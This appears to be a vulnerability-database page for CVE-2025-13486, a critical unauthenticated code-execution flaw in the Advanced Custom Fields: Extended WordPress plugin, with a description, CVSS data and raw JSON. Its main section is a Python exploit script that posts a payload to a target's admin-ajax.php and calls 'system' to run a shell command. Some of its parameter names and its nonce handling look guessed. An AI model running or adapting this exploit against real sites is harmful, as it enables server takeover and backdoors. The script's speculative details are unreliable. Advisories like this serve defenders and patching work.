Security Vulnerability Report
中文
CVE-2025-13486 CVSS 9.8 CRITICAL

CVE-2025-13486

Published: 2025-12-03 07:16:03
Last Modified: 2026-04-15 00:35:42

Description

The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 through 0.9.1.1 via the prepare_form() function. This is due to the function accepting user input and then passing that through call_user_func_array(). This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Advanced Custom Fields: Extended 0.9.0.5
Advanced Custom Fields: Extended 0.9.0.6
Advanced Custom Fields: Extended 0.9.0.7
Advanced Custom Fields: Extended 0.9.0.8
Advanced Custom Fields: Extended 0.9.1.0
Advanced Custom Fields: Extended 0.9.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 ''' CVE-2025-13486 PoC - Advanced Custom Fields: Extended RCE Note: This PoC is for educational and authorized security testing purposes only. ''' import requests import sys TARGET_URL = "http://target-wordpress-site.com" def exploit_cve_2025_13486(): """ Exploit the RCE vulnerability in prepare_form() function by controlling the function call via call_user_func_array() """ # Target endpoint that processes form data endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Payload to execute arbitrary command via call_user_func_array() # The prepare_form() function accepts user input and passes it to call_user_func_array() payload = { 'action': 'acfef_form_builder_submit', 'nonce': '', # May be bypassed or not required 'field_id': 'acfef_prepare_form', # Triggers prepare_form() 'function_name': 'system', # Arbitrary function call 'params': 'id' # Command to execute } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-13486: ACF Extended RCE") try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit request completed") print(f"[*] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_cve_2025_13486()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13486", "sourceIdentifier": "[email protected]", "published": "2025-12-03T07:16:02.840", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 through 0.9.1.1 via the prepare_form() function. This is due to the function accepting user input and then passing that through call_user_func_array(). This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3400134/acf-extended", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c508cb73-53e6-4ebe-b3d0-285908b722c9?source=cve", "source": "[email protected]"}]}}